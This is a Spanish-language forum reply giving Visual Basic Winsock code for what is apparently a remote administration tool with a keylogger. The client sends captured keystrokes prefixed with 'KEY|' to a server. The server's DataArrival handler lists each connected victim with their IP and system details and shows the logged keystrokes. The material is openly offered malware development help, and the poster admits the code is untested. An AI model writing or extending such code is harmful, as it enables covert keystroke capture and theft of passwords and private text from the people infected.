Ya que en el
DataArrival tienes un filtro con un
Select Case tendrás que enviar los datos de la siguiente manera:
Dim variable1 as string
variable = "KEY|" ' Esto es para el filtro, que sepa el servidor que es para el keylogger
variable = variable & text1.text
Ws.senddata variable
Y en el servidor lo tendrías que modificar un poco:
Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim data As String 'Declaracion
Dim vData As Variant 'Declaracion
Dim pr
Dim cmsgsep As Long 'Declaracion
ws(index).GetData data
vData = Split(data, "|")
Select Case vData(0)
Case "Conexion" 'Cose de conexion
Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)
pr.SubItems(4) = vData(6)
case "KEY" ' La clave que pusimos para el keylogger
text1.text = vData(1) ' Ponemos los datos en el TextBox
End select
End sub
El código no se si funciona porque lo he ido poniendo sobre la marcha pero la idea es esa.
saludos.